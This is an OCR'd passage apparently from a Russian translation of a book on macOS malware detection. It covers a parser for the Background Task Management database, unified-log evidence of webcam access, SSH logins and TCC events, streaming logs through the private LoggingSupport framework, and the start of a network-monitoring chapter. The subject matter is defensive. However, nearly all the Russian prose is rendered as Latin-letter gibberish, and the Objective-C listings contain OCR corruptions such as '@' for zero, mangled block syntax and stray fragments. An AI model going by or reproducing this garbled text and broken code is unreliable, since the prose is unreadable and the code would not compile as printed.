B library DumpBTM exported function ¢ nmeHem parseBTM Bbi3biBaeT pyHkumto toDictionary,
MoKasaHHyo 30ecb. HA 3aBepLuy 3Ty rnaBy, NOKa3aBs, Kak Ball koA mor 6bl ncnone3osarth library, BoidaBaB
parseBTM, yToGbl nonyunTb dictionary, copepxawmin metadata Bcex persistent items, xpaHsawmxcs B
database Background Task Management.

Ucnonb3oBaHne DumpBTM B co6¢cTBEHHOM KoA€e

Korga Bbl ckomnunupyete DumpBTM, B ee katanore library/1lib Bbl HangeTe asa davna: header file
library (dumpBTM. h) n compiled library 1ibDumpBTM. a. [Jo6aBbTe 06a danna B ceon project. Include
header file B source code ¢ nomowbto directive #include unu #import, nockoneky aToT file cooepxut
exported function definitions n constants library. Ecnu BbI link compiled library Bo Bpems compile time, Bawu
KOZ OOJDKEH MONyYnTh BO3MOXHOCTD BbI3biBaTh exported functions library (nuctunr 5-10).

#import "dumpBTM.h"

NSDictionary* contents = parseBTM(nil);
for(NSString* uuid in contents[KEY_BTM_ITEMS_BY_USER_ID]) {
for(NSDictionary* item in contents[KEY_BTM_ITEMS_BY_USER_ID][uuid]) {
// Add code to process each persistent item.

}
}

Jlnctunr 5-10: Mepeuncnenue persistent items

Mocne importing header file library mbl Bol3biBaem ee exported function parseBTM. 3Ta function
Bo3BpallaeT dictionary, cogepxawmin Bce persistent items, koTopbeiMu ynpasndaeTt subsystem Background
Task Management n koTopble xpaHaTcs B ee database, ¢ keys no unique user identifiers. Kak BugHo, kog
npoxoauT no kaxxgomy user identifier, a 3aTem no kaxgomy persistent item.
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3aknro4yeHue

CnocobHocTb naeHTMduumupoBaTth persistently installed items kpuTudeckn BaxkHa gns oGHapyxeHus
malware. B 3Tol rnaee Bbl y3Hanu, Kak nporpaMmmMHoO B3ammogencrTeoBaTh ¢ database Background Task
Management macOS, koTopas coaepxut metadata Bcex persistent launch u login items. XoTa atoT
npotecc notpeboBan kpaTkoro norpyeHus B internals subsystem Background Task Management, mbl
cmornu noctpoutb complete parser, cnoco6Hbin fully deserialize Bce objects B database, npegoctaensis
HaMm cnucok persistently installed items. [5]

OpHako ob6paTute BHMMaHMe, YTO HEKOTOpPoe malware ncnonb3yeT 6onee creative persistence
mechanisms, koTtopble subsystem Background Task Management He oTcnexuBaeT, U Mbl HE Hangem 3T1o
malware B database subsystem. He 6ecnokoriteck: B rmaBe 10 mbl norpysmmcs B KnockKnock, tool,
KOTopbI ncnonb3yeTt nogxoabl beyond Background Task Management, 4tobbl comprehensive uncover
persistent malware, HangeHHoe rage yrogHo B operating system.

Ota rmaBa 3aBepLuaeT YacTb | n 06cyxaeHune data collection. Tenepb Bbl FOTOBLI ccnegoBaTe MUP
real-time monitoring, kKoTopbIn MoXxeT nocTponTb foundations proactive detection approach.
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maBa 6. MOHMTOPUHrI XXypHanoB

Ecnu Bbl npoBoannu BpeMs, nuccriegys macOS, Bl MOrnu ctankueatbes ¢ unified logging mechanism
CUCTEMbI - PECYPCOM, KOTOPbIN NOMoraeT noHATh internals macOS wu, kak Bbl CKOPO yBUAUTE, pacKkpbiBaTb
malware. B 310l rmaBe s Ha4Hy C BblAeneHns pasnuyHbixX BUAoB information, koTopble MOXHO U3Bneyb u3
aTux logs ans obHapyxeHusa malicious activity. 3atem mbl BbINTONHMM reverse engineering
macOS-ytunutel log n ogHoro n3 ee core private frameworks, 4Tobbl NporpamMmmHo nony4aTts real-time
information Hanpsimyto 1 acpdekTnBHO n3 logging subsystem.

U3yuyeHue log information

HauHy ¢ Heckonbkux npumepos useful activity, koTopasa MmoxeT nosaBnATbesa B system log, HaunHas ¢
webcam access. OcobeHHO KoBapHble malware specimens, Bkntodas FruitFly, Mokes u Crisis, TanHo
LUMMOHAT 3a XXepTBamu Yepe3 webcam 3apaxeHHoro host. OgHako gocTtyn kK webcam nopoxgaet system
log messages. Hanpumep, B 3aBucumocTtun ot Bepcun macOS, subsystem Core Media 1/0O moxeT co3gaTtb
cnegywoulee:

CMIOExtensionProvider.m:2671:-[CMIOExtensionProvider setDevicePropertyValuesForClientID:

deviceID:propertyValues:reply:] <CMIOExtensionProvider>,

3F4ADF48-8358-4A2E-896B-96848FDB6DD5, propertyValues {

CMIOExtensionPropertyDeviceControlPID = 90429;
¥

BblaeneHHoe 3HayeHne cogepxuT ID npouecca, obpatuatoLierocs kK webcam. XoTs NpoLecc MoXeT ObiTb
nermTMMHbIM, Hanpumep Zoom unun FaceTime session, 3anyleHHasa nonb3oBartenem ans virtual meeting,
pa3yMHO NoaATBEPAUTL, YTO 3TO AEACTBUTENBHO TakK, MOCKOSbKY responsible process Takke MOXeET ObITb
malware, nbiTalLWUMCS LINMOHUTL 3a norb3oBaTerneM. [lockonebky Apple He npegoctasnseTt API,
koTopbin identifying process accessing the webcam, log messages 60nbLUy0 YacTb BPEMEHMU ABNSAOTCA
OOHWUM N3 HEMHOIMX cnocoboB HaZEeXHO Nony4YnTh 3Ty information.

Ipyrue activities, koTopble YacTo nosiBnAlTCA B system logs, - aTo remote logins. OHM MOryT ykasbiBaTb
Ha compromise, HanpumMep Ha nony4eHue attackers initial access k host unu gaxe Ha Bo3BpalleHue K
paHee infected host. Hanpumep, malware IPStorm pacnpocTtpaHsieTcs k victims uepes brute-forcing SSH
logins. o Ewe oanH nHTepecHbin criydan - XCSSET, KoTopbIi NokanbHO HUUumnpyeT seemingly remote
connection obpaTHo K host, 4Tobbl 0601MTM MacOS security mechanism, n3BecTHbIN kak Transparency,
Consent, and Control (TCC). (2]

Korga remote login nponcxogut yepes SSH, cuctema cosgaet log messages Bpoae cnefyowmx:

sshd: Accepted keyboard-interactive/pam for Patrick from 192.168.1.176 port 59363 ssh2
sshd: (libpam.2.dylib) in pam_sm_setcred(): Establishing credentials
sshd: (libpam.2.dylib) in pam_sm_setcred(): Got user: Patrick

sshd: (libpam.2.dylib) in pam_sm_open_session(): UID: 501

sshd: (libpam.2.dylib) in pam_sm_open_session(): server_URL: (null)

sshd: (libpam.2.dylib) in pam_sm_open_session(): path: (null)

sshd: (libpam.2.dylib) in pam_sm_open_session(): homedir: /Users/Patrick

sshd: (libpam.2.dylib) in pam_sm_open_session(): username: Patrick
O1m log messages npegocTtaBnstoT source |IP address coeanHeHus, a Takke identity nonb3osarens,
KoTopbI Bowen B cuctemy. JTa information moxeTt nomoub defenders onpepenntb, asnsaetcs nu SSH

session NermMTMMHON (BO3MOXHO, remote worker nogkntoyaeTcs K oprUcHON maluuHe) nnm unauthorized.

Log messages Takxke moryT gaTtb insight into TCC mechanism, KoTopbIi ynpasnseT 4OCTYNOM K sensitive
information n hardware features. B goknage koHdepeHuun Objective by the Sea “The Clock Is TCCing”
uccneposatenu Calum Hall n Luke Roberts otmeTunu, 4to messages, HangeHHble B unified log,
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Nno3BOMANM onpeaenuTe Heckonbko pieces of information ansa sagaHHoro TCC event (Hanpumep, Korga
malware nbiTaeTcs capture screen unm access user documents), Bkroyas resource, K KOTOPOMY process
3anpocun access, responsible u target processes, a Takke denied nnu approved nu system request n
noyemy. 31

B 3TOT MOMEHT MOXeT BO3HUKHYTb COOMNa3H BocnpmHMMaTh log messages kak naHaueto ans malware
detection. He Hago. Apple odmumansHO He nogaepxusaeT log messages 1 4acTo MeHsina ux contents
UIM NOSTHOCTBIO yaansana ux gaxe mexgy minor releases macOS. Hanpumep, B cTapbix BEpCUsix
operating system moxHo 6bino detect microphone access u identify process responsible for it, nwa
cnegyownin log message:

send: 0/7 synchronous to com.apple.tccd.system: request: msgID=408.11,

function=TCCAccessRequest, service=kTCCServiceMicrophone, target_token={pid:23207, auid:501,
euid:501}%,

K coxaneHuto, Apple obHoBuna cootBeTcTBYOWMIA macOS framework, Tak 4To OH 6GonbLle He produces
3710 message. Ecnu 6b1 Baw security tool nonarancsa Tonbko Ha 3ToT indicator gns obHapyxeHus
unauthorized microphone access, oH 6bl 6onbLue He dyHKUMOHUPoBan. NoaTomy nydie treat log
messages Kak initial signs suspicious behavior, a 3atem investigate further.

Unified Logging Subsystem

Mebl yacTo gymaem o log messages kak o cnocobe BbisicHUTb, 4To happened in the past. Ho macOS Takke
nossonsieT subscribe to stream messages no mepe nx goctasku B logging subsystem, no cyTtu in real time.
Bonee Toro, logging subsystem nogaepxueaert filtering aTux messages yepes custom predicates,
npepoctaenss efficient n unparalleled insight into activity, nponcxogsiuyto B cucteme.

B Bepcusix macOS HaumHas ¢ 10.12 atoT logging mechanism Ha3biBaeTcs unified logging system. [4]

Byayuu replacement traditional syslog interface, oH records messages ot core system daemons,
operating system components n nto6oro third-party software, kotopoe generates logging messages 4epes
OSLog APls.

CTouT OTMETUTB, 4YTO NpK n3yyeHnn log messages B unified system log Bbl MOXeTe CTONKHYTLCH C
redactions; logging subsystem 3ameHsieT nobyto information, deemed sensitive, cTpokon <private>.
Yto6h! disable aTy functionality, MmoxxHO ycTaHoBuTb configuration profile. Bl X o151 370 NOREsHo ans
noHumanus undocumented features operating system, He crnegyeT oTkntoyaTk log redactions Ha end-user
unu production systems, nockonbky 3To caenaert sensitive data goctynHeiMu niobomy, y KOro ectb access
to the log.

Pyu4Hble 3anpocbl K ytunute log

YTto6bl Bpy4HYO B3anmogencteoBath ¢ logging subsystem, ucnonb3ynte macOS-ytunuty log,
HaxoasLytocd B /usr/bin:
% /usr/bin/log

usage:
log <command>

global options:
-?, --help
-q, --quiet

-v, --verbose

commands:
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collect gather system logs into a log archive
config view/change logging system settings
erase delete system logging data

show view/search system logs

stream watch live system logs

stats show system logging statistics

further help:
log help <command>
log help predicates

MoxkHo uckaTb previously logged data c nomouupto flag show nnu ncnonbsosats flag stream, 4To6bI
npocmatpusaTh logging data no mepe nx generation in real time. Ecnu He ykasaTb uHauve, output byaget
BKMoYaTb messages Tonbko ¢ default log level. YTobbl nepeonpenenutb 370 setting ans past data,
ncnone3ynte flag - -info unu - -debug BmecTe ¢ show, 4Tobbl NpocmoTpeTh additional information u
debug messages cooTBeTcTBEHHO. [Ins streaming data ykaxuTte n stream, un --level, 3atem nu6o info,
nnbo debug. 3tu flags hierarchical; ykasanune debug level Tarke BepHeT informational n default messages.

WMcnonbaynTe flag - -predicate c predicate ans filtering output. [loBonbHo extensive list valid predicate
fields no3BonseT HaxoouTe Messages Ha OCHOBe process, subsystem, type n MHororo apyroro.
Hanpumep, 4tobbl stream log messages oT kernel, BbinonHuTe cnegytouiee:

% log stream --predicate 'process == "kernel"'

YacTo cywectyeT 6onblie ogHoro cnocoba craft predicate. Hanpumep, mbl Takke mornu 6bl nonyyaTb
kernel messages, ucnonb3yqa 'processIdentifier == @', nockonbky kernel Bceraa nmeet process ID 0.

YUTtobbl stream messages oT security subsystem, BBeguTe crieayoLLee:

% log stream --predicate 'subsystem == "com.apple.securityd"'

Bce nokasaHHble 3aeck NpuMepbl ucnonb3ytoT equality operator (==). OgHako predicates moryT
ucnonb3oBaTb MHOrMe Apyrue operators, Bknoyas comparative operators (Hanpumep, ==, !=un <), logical
operators (Hanpumep, AND u OR) n gaxxe membership operators (Hanpvmep, BEGINSWITH n CONTAINS).
Membership operators mowHbI, nockonbKy no3sonstoT craft filter predicates, resembling regular
expressions.

Man pages ans log n komaHaa log help predicates npegocTaBnsaT concise overview predicates. [61

Reverse engineering log APIs

YT106bI YMTaTh log data nporpammHo, Mbl Mornu 6bl ncnonb3osate OSLog APIs. [7] OpHako atun APIs
BO3BpaLLlaoT TonbKo historical data, a B koHTekcTe malware detection Hac kyaa 6onbLue MHTEpecyoT
real-time events. Public APl ans aTtoro HeT, HO reverse engineering yTunutbl 1og (To4Hee, Koaa, CTOSILLErO
3a command stream) No3BONSAET packpbITh, KAk MUMEHHO ingest logging messages, korga oHv nonagaT B
unified logging subsystem. Bonee Toro, npeaocraewus filter predicate, Mmbl MoXXem nonyyatb TONbKO
messages of interest.

XoTs 51 He Byay nokpbiBaTb NonHble details reversing ytnnutel log, B 9TOM pasgerne gam overview
process. PasymeeTcs, aHanorm4HbIv process MoXxHo npumenutb K gpyrum Apple utilities n frameworks,
yTOObI M3BNekatb private APIs, useful for malware detection (kak Mbl Nnoka3anu B rnaee 3, peanunsys
npoBepku package code signing).
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CHauana HyxHo HanTu binary, koTopbi implements APIs logging subsystem, 4to6bl Mbl MO BbI3BaTb
nx n3 cobcreeHHoro koga. O6eiuHO Takne APIs HaxogaTca B framework, dynamically linked into utility
binary. BeinonHme otool ¢ command line option -L, MoXHO yBMaeTb frameworks, ¢ KOTOpbIMUK yTUIMUTA
log dynamically linked:

% otool -L /usr/bin/log

/System/Library/PrivateFrameworks/ktrace.framework/Versions/A/ktrace

/System/Library/PrivateFrameworks/LoggingSupport.framework/Versions/A/LoggingSupport
/System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/CoreSymbolication

Cyas no nmenn, framework LoggingSupport, BeposaTHO, coaepxuT relevant logging APIs. B npowurnbix
Bepcusax macOS framework MoXxHO Obino HaTK B katanore /System/Library/PrivateFrameworks/,
TOrga Kak B HOBbIX Bepcusix OH HaxoauTcs B shared dyld cache.

Mocne 3arpysku framework B Hopper (koTopbin MOXeT Hanpsmyto 3arpyxaTb frameworks u3 dyld cache)
Mbl BUamm, 4to framework implements undocumented class ¢ nmeHem OSLogEventLiveStream, yen base
class - OSLogEventStreamBase. OTu classes implement methods Bpoae activate, setEventHandler: u
setFilterPredicate:. Takke mbl BcTpeyaem undocumented class OSLogEventProxy, KOTOpbIN,
noxoxe, npegcraenget log events. BoT HekoTopkle ero properties:

NSString* process;

int processIdentifier;

NSString* processImagePath;

NSString* sender;

NSString* senderImagePath;

NSString* category;

NSString* subsystem;

NSDate* date;
NSString* composedMessage;

M3yyasa ytunuty log, MOXHO YBUAETb, Kak OHa Ucnonb3yeT 3Tu classes n nx methods, uTo6bl capture
streaming log data. Hanpumep, BoT decompiled snippet 13 binary log:

r21 = [OSLogEventLiveStream initWithLiveSource:...];
[r21 setEventHandler:&var_110];

[r21 setFilterPredicate:r22];
printf("Filtering the log data using \"%s\"\n", @selector(UTF8String));

[r21 activate];

B decompilation cHavana BugeH call to initWithLiveSource:, initializing object
OSLogEventLiveStream. 3atem calls to methods setEventHandler: un setFilterPredicate: configure
3T0T object, stored in register r21. Nocne yctaHoBku predicate helpful debug message ykasbiBaeT, 4To
provided predicate moxer filter log data. HakoHeu, object activates, uTo triggers ingestion streaming log
messages, matching specified predicate.

Streaming log data

Wcnonbays information, nony4eHHyto yepes reverse engineering binary log u framework LoggingSupport,
MOXHO craft code, 4ToGbI Hanpsamyto stream data n3 universal logging subsystem B Hawwux detection tools.
3aecb mbl covered important parts of the code, xoTa pekomeHayeTca cBepuTbes ¢ full code, HaxogawmMmcs
B npoekTe logStream aTon rna.sbl.

JlnctuHr 6-1 nokasbiBaeT method, koTophi accepts log filter predicate, log level (Hanpumep, default, info
unn debug) u callback function, koTopyto Hy>xHO invoke ans kaxgoro logging event, matching specified
predicate.
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#tdefine LOGGING_SUPPORT @"/System/Library/PrivateFrameworks/LoggingSupport.framework"

-(void)start: (NSPredicate*)predicate
level: (NSUInteger)level eventHandler:(void(”)(0SLogEventProxy*))eventHandler {
[[NSBundle bundleWithPath:LOGGING_SUPPORT] load];

Class LiveStream = NSClassFromString(@"OSLogEventLiveStream");
self.liveStream = [[LiveStream alloc] init];

@try {
[self.liveStream setFilterPredicate:predicate];
} @catch (NSException* exception) {
// Code to handle invalid predicate removed for brevity

}

[self.liveStream setInvalidationHandler:”void (int reason, id streamPosition) {

]

jak

[self.liveStream setDroppedEventHandler:~void (id droppedMessage) {

]

IIH

[self.liveStream setEventHandler:eventHandler];
[self.liveStream setFlags:level];
[self.liveStream activate];

}
Jlnctur 6-1: 3anyck logging stream ¢ ykasaHHbIM predicate

O6paTtnTe BHMMaHWe, 4TO A omitted yacTb aToro koga, Hanpumep class definition n properties custom log
class.

Mocne 3arpy3ku framework logging support kog retrieves private class OSLogEventLiveStream no nmeHu.
Tenepb Mbl MOXeM instantiate instance atoro class. 3atem Mbl configure aToT instance, yctaHasnveas
filter predicate n o6a3atensHo wrapping 370 B block try. . .catch, nockonsky method
setFilterPredicate: moxeT throw exception, ecnu emy provided invalid predicate. [lanee mbl
ycTaHaenmBaem event handler, kotopbii framework 6ygeT invoke kaxabivi pas, korga universal logging
subsystem ingests log message, matching specified predicate. Mbl nepegaem atu values B method
start:level:eventHandler:, rge predicate coobiaeT log stream, kak filter messages, koTopble OH
delivers event handler. Logging level Mbl ycTaHaBnueaem yepes method setFlags:. HakoHeu, 3anyckaem
stream call to method activate.

JInctnHr 6-2 nokasbiBaeT, kak co3gaTbk instance custom log monitor class, a 3atem ncnonb3oBaTb €ro,
yTobbI HavaTb ingesting log messages.

NSPredicate* predicate = [NSPredicate predicateWithFormat:<some string predicate>];
LogMonitor* logMonitor = [[LogMonitor alloc] init];

[logMonitor start:predicate level:Log_Level Debug eventHandler:~(OSLogEventProxy* event) {
printf("New Log Message: %s\n\n", event.description.UTF8String);
35

[NSRunLoop.mainRunLoop run];
JlnctnHr 6-2: BaanmopgewncTeume ¢ custom log stream class

Chauana kopg cosgaert predicate object u3 string. O6paTute BHUMaHue, 4to B production code 3aTo
Jencteme Toxe cnegyet wrap B block try. . .catch, nockonbky method predicateWithFormat: throws
catchable exception, ecnu provided predicate invalid. Janee Mmbl cosgaem object LogMonitor u invoke ero
method start:level:eventHandler:. Obpatute BHUMaHue, 4To Ans level Mbl nepegaem

Log Level Debug. lNockonbky level hierarchical, aTo rapaHTupyeT, 4To Mbl capture all message types,
BKITHOYas Te, Yen type - info n default. Tenepb koa OyaeT invoke Haw event handler kaxabin pas, korga log
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message, matching specified predicate, streams B universal logging subsystem. Ceityac atot handler
NpocTo neyartaeT object OSLogEventProxy.

UTto6bl ckomMnunupoBaTb 3TOT koA, HaMm NoHanobaTca undocumented class 1 method definitions, extracted
from framework LoggingSupport. 3Tu definitions Haxogatca B dhanne LogStream. h npoekta logStream;
NUCTUHr 6-3 npuBoauT MX snippet.

@interface OSLogEventLiveStream : NSObject

-(void)activate;

-(void)setFilterPredicate: (NSPredicate*)predicate;
-(void)setEventHandler: (void(~)(id))callback;

@property(nonatomic) unsigned long long flags;
@end

@interface OSLogEventProxy : NSObject

@property(readonly, nonatomic) NSString* process;

@property(readonly, nonatomic) int processIdentifier;

@property(readonly, nonatomic) NSString* processImagePath;

@end
Jlnctnur 6-3; Interface gns private classes OSLogEventLiveStream n OSLogEventProxy
Mocne KoMnNMNAauMM 3TOro kKoga Mbl MOXXEM BbINOSHUTL €ro ¢ user-specified predicate. Hanpumep, 6yaem
monitor log messages security subsystem, com.apple.securityd:

% ./logStream 'subsystem == "com.apple.securityd"’

New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, open(%s,0Xx%X,0x%x) = %d>

New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, %p is a thin file (%s)>

New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, %zd signing bytes in %d blob(s) from %s(%s)>

New Log Message:

<OSLogEventProxy: 0x155804080, 0x0, 400, 1009, network access disabled by policy>
XoTa Mbl 4encTBUTENBHO capturing streaming log messages, matching specified predicate, Ha nepBbi
B3rNsiA messages He KaxyTcsa ocobeHHo useful. 3To notomy, 4to Haw event handler npocTo neyaTaer
object OSLogEventProxy yepes call to its description method, koTopbIi He BknoyaeT Bce components
message.

U3BneyeHue properties log object

YUTto6bl detect activity, koTopas moxeT indicate presence malware, Hy>kHO extract properties ob6bekTa log
method OSLogEventProxy. Bo Bpems disassembling mbl BCTpeTunu Heckonbko useful properties,
Hanpumep process ID, path 1 message, Ho ecTb 1 Apyrue interesting ones. MNMockonbky Objective-C
introspective, moxxHo dynamically query any object, Bkntoyas undocumented ones, 4Tobbl reveal its
properties and values. 3710 TpebyeT foray into bowels Objective-C runtime; Tem He MeHee MOHMMATb
undocumented classes, ¢ KOTOpbLIMK Bbl CTanknsaeTecb, 0COB6eHHO nonesHo npu leveraging Apple private
frameworks.

JlnctnHr 6-4 - npoctag function, kotopas accepts any Objective-C object, 3aTem prints out its properties
and their values. OHa ocHoBaHa Ha koge Pat Zearfoss. (8]
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#import <objc/message.h>
#import <objc/runtime.h>

void inspectObject(id object) {
unsigned int propertyCount = 0 ;
objc_property_t* properties = class_copyPropertyList([object class], &propertyCount);

for(unsigned int i = @; i < propertyCount; i++) {
NSString* name = [NSString stringWithUTF8String:property_getName(properties[i])];
printf("\n%s: ", [name UTF8String]);

SEL sel = sel_registerName(name.UTF8String);
const char* attr = property_getAttributes(properties[i]);

switch(attr[1]) {
case '@':
printf("%s\n",
[[((id (*)(id, SEL))objc_msgSend)(object, sel) description] UTF8String]);
break;

i':
printf("%i\n", ((int (*)(id, SEL))objc_msgSend)(object, sel));
break;

case

case 'f':
printf("%f\n", ((float (*)(id, SEL))objc_msgSend)(object, sel));
break;

default:
break;

}

free(properties);
return;

}
JlnctuHr 6-4: Introspecting properties Objective-C object

CHauvana kog imports required Objective-C runtime header files. 3aTtem oH invokes API
class_copyPropertyList, 4yToGbl nony4nTb array u count properties object. Mbl iterate over this array,
4yTOOLI examine each property, invoking method property_getName, 4To6bl NONy4nTE NAmMe property.
3artem function sel_registerName retrieves selector ansa property. No3gHee mMbl ncnonb3yem property
selector, 4yToObI retrieve value obobekTa.

Hanee, utobbl determine type property, Mbl invoke method property getAttributes. OH returns array

attributes, rge property type Haxogutca kak second item (at index 1). Kog handles common types, Takvne

kak Objective-C objects (@), integers (i) u floats (f). Ona kaxgoro type mbl invoke function objc_msgSend
Ha object c selector property, 4ToGbI retrieve value property.

Ecnu npucmoTtpeTbes, BugHo, Yto call to objc_msgSend typecast appropriately ans kaxgoro property
type. Cnucok type encodings cm. B Apple developer documentation “Type Encodings”. Bl YroBwi inspect
Swift objects, ucnonbayiire Swift Mirror API. [1%

B kope log monitor Tenepb MoxHo invoke function inspectObject ¢ kaxabim object 0SLogEventProxy,
nony4eHHbIM OT logging subsystem (MUCTUHT 6-5).

NSPredicate* predicate = [NSPredicate predicateWithFormat:<some string predicate>];
[logMonitor start:predicate level:Log Level Debug eventHandler:
~(OSLogEventProxy* event) {
inspectObject(event);
s

JluctnHr 6-5: Inspecting each log message, encapsulated in an OSLogEventProxy object
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Ecnu ckomnmnumpoBaTh U BbINOMHUTE NporpamMmy, Mbl Tenepb AOSMKHbI NonyyYntb 6onee comprehensive
view kaxgoro log message. Hanpumep, monitoring messages, related to XProtect, built-in antimalware
scanner, found on certain versions macOS, no3sonsieT observe ero scan untrusted application:

% ./logStream 'subsystem == "com.apple.xprotect
New Log Message:

composedMessage: Starting malware scan for: /Volumes/Install/Install.app
logType: 1

timeZone: GMT-0700 (GMT-7) offset -25200

processIdentifier: 1374

process: XprotectService

processImagePath: /System/Library/PrivateFrameworks/XprotectFramework
.framework/Versions/A/XprotectService.xpc/Contents/MacOS/XprotectService

senderImagePath: /System/Library/PrivateFrameworks/XprotectFramework
.framework/Versions/A/XprotectService.xpc/Contents/MacOS/XprotectService
sender: XprotectService

subsystem: com.apple.xprotect

category: xprotect

CokpalLeHHbIn output coaoepxuT properties obbekta 0SLogEventProxy, Hambonee relevant ans security
tools. Tabnumua 6-1 summarizes ux alphabetically. Kak n mHorue properties object OSLogEventProxy, nx
MOXHO ucnonb3oBaTh B custom predicates.

Tabnuua 6-1: Security-relevant properties OSLogEventProxy

Property name Description

category Category, ncnonb3oBaHHas ans logging event
composedMessage Contents log message

logType Ons logEvent u traceEvent - type message (default, info,

debug, error nnu fault)

processIdentifier Process ID npouecca, Bbi3BaBLuero event
processImagePath Full path npouecca, Bbi3BasLuero event
senderImagePath Full path library, framework, kernel extension nnu Mach-O

image, Bbi3BaBLUero event

subsystem Subsystem, ncnonb3osaHHas ans logging event

type Type event (Hanpumep, activityCreateEvent,
activityTransitionEvent nnu logEvent)

OnpepeneHue resource consumption

BaxxHo yuntbiBaTh potential resource impact streaming log messages. Ecnu BbiGpaTb overly consumptive
approach, moxHo incur significant CPU cost n noenusaTb Ha responsiveness CUCTEMBI.

Bo-nepB.bix, obpawante BHMMaHue Ha log level. YkasaHue debug level npueaert «k significant increase
konunyecTtBa log messages, processed against any predicate. XoTts predicate evaluation logic o4yeHb
efficient, bonble messages o3HavaeT 6onbwe CPU cycles. MNoatomy security tool, leveraging streaming
capabilities logging subsystem, BeposTHO, A0MKeH orpaHMunTbest consuming default nnm info messages.

He meHee BaxeH ang efficiency predicate, koTopbili Bbl McnonbadyeTe. MIHTepecHo, YTO MOM SKCMEPUMEHTDI
nokasanu: HekoTopble predicates logging daemon evaluates wholly, a gpyrne obpabateiBatoT logging
subsystem frameworks, loaded in client programs, such as the log monitor. MNepBbI BapnaHT nyuLue;
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MHaye nporpamMmMa nosfy4mT Ccopy Kagoro otaensHoro log message ans predicate evaluation, 4to moxeT
cbepats significant CPU cycles. Ecnu logging daemon BeinonHsieT predicate evaluation, Bbl nonyunte
TONbKO messages, matching predicate, 4To 3ameTHO He impact system.

Kak craft predicate, koTopbin 6yaet evaluate logging daemon? Trial and error showed, 4To ecnu ykasaTtb

process unu subsystem B predicate, daemon O6yaeT evaluate ero, To ecTb Bbl Nofy4nTe Tonbko matching

log messages. PaccMoTpumM koHkpeTHbIN npumep 13 OverSight, tool, obcyxgaemoro B rnase 12, KOTOpbIN
monitors microphone and webcam.

OverSight requires access to log messages ot core media I/O subsystem, 4yTo6b! identify process
accessing webcam. B Hauyane rnaBbl 9§ 0TMETWI, Y4TO HEKOTopble versions macOS xpaHsaT aToT process 1D
B log messages oT core media I/O subsystem, koTopble cogepxar string
CMIOExtensionPropertyDeviceControlPID. [MOHATHO, YTO MOXET BO3HUKHYTL XenaHue craft predicate,
matching this string:

'composedMessage CONTAINS "CMIOExtensionPropertyDeviceControlPID

OpHako aToT predicate npuegeT k processing inefficiencies, nockonbky logging daemon otnpasuT Bce
messages logging frameworks, loaded in our log monitor, 4to6sl Te perform predicate filtering. Bmecto
atoro OverSight leverages broader predicate, ucnonb3aytowmn property subsystem:

subsystem=="com.apple.cmio’

Takon approach 3actaBnsieT logging daemon perform predicate matching, a 3atem deliver only messages
from core media I/O subsystem. Cam OverSight manually performs check for string
CMIOExtensionPropertyDeviceControlPID:

if(YES == [logEvent .composedMessage

containsString:@"CMIOExtensionPropertyDeviceControlPID ="]) {
// Extract the PID of the processes accessing the webcam.

}

Tool leverages similar process, 4to0nbl return log messages, associated with mic access. B pesynbstaTte oH
moxeT effectively detect any process (including malware), attempting to use either the mic or webcam.

3aknro4yeHue

B aTou rmase Bbl yBUAenu, kak ucnornb3oBaTb code Ans B3auMoaencTBus ¢ universal logging subsystem
operating system. BeinonHuB reverse engineering private framework LoggingSupport, Mbl nporpamMmmHo
streamed messages, matching custom predicates, n nonyunnu access to wealth of data, found in logging
subsystem. Security tools could use this information gns obHapyxeHusi new infections unu gaxe
packpbITua malicious actions persistently installed malware.

B cnepytowen rmase Bbl HanuweTe network monitoring logic, ncnonesys powerful n well-documented
network extensions Apple.
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maBa 7. MOHUTOPUHI ceTH

B atou rmase g onuwy pasnuyHsle approaches for monitoring network activity Ha cuctemax macOS.
HayHy ¢ npocTtoro: nokaxy, kak perynspHo schedule network snapshots, 4tobbl nonyunTtb near-continuous
view network activity host. 3atem BbI rnmy6oko norpyaunteck Bo framework n APIs NetworkExtension ot
Apple, koTopble NpegocTaBnaOT cpeacTo customizing core networking features operating system u
building comprehensive network monitoring tools. B kauectse npumepa s o6cyaro ncnonb3oBaHMe aToro
powerful framework ans cosgaHus host-based DNS monitors u firewalls, cnoco6Hebix filtering and blocking
selected activity.

B rnase 4 mbl co3gaBanu snapshot network state yctponctsa B 3ajaHHble MOMEHTbI BpEMEHU. XOTH 3TOT
npocTon approach moxeT achdekTmBHO detect variety malicious behaviors, y Hero ectb HeCKOMbKO
limitations. Camoe 3ameTHoe: ecnn malware He obpawaeTcs k ceTu exactly at the time, when snapshot is
taken, oHo ocTaHeTcs undetected. Hanpumep, malware, ncnonssosaHHoe B supply chain attack 3CX,
beaconed only every hour or two. M Ecau network snapshot He 6bin serendipitously scheduled, oH
nponycTtun 6bl network activity malware.

YTto6bl NpeoaoneTb 3TOT He4OCTATOK, Mbl MOXeM continuously monitor network for signs of infections.
CobpaHHble network data moryT nomoub build baselines normal traffic over time n npegocraButb corpus
for input to a larger distributed threat hunting system. XoTtsa atu approaches moryT 6bITb CrioXxHee B
implementation, yem simple snapshot tools, insight, koTopbIn oHK gatoT into network activity on a host,
penaet ux invaluable component no6oro comprehensive malware detection tool.

Orta KkHura He ByageT paccmaTpuBaTh ncnonb3oBaHue framework ans full packet captures, nockoneky
capturing and processing these data notpe6osanu 6bi significant resources, Tak u4to almost always nyuiue
BbINOSTHATL Takmne captures Hanpsimyto on the network, a He on the host. Bonee Toro, full packet captures
o6bl4HO overkill anga detecting malware. Yacto goctatoyHo simply identifying some unauthorized network
activity, Hanpumep listening socket nnn connection to an unrecognized API endpoint, 4TobbI cast suspicion
on a process (ocobeHHO Ha unrecognized processes) u reveal infection.

MpumeyaHue. Ytobbl ncnonssosatk tools framework NetworkExtension, Hy>kHo fo6aBuTb
proper entitlements, a kog Hy»xHo build with provisioning profiles, koTopble authorize these
entitlements at runtime. A He Oyay paccmaTpuBaTb 3TOT process 34ecb, MOCKOsbKy focus
HaxoguTcs Ha core concepts paboTsl ¢ framework. O6patuTtech k yacTtu lll, 4ToGbI y3HaTh, Kak
nonyyuntb necessary entittements un create provisioning profiles.

NMony4yeHue perynapHbix snapshots

OpawmH npocTon cnocob continuously monitor network activity - repeatedly take snapshots current network
state. Hanpumep, B rmase 4 mbl ucnone3osanu Apple utility nettop, 4to6bl display network information.
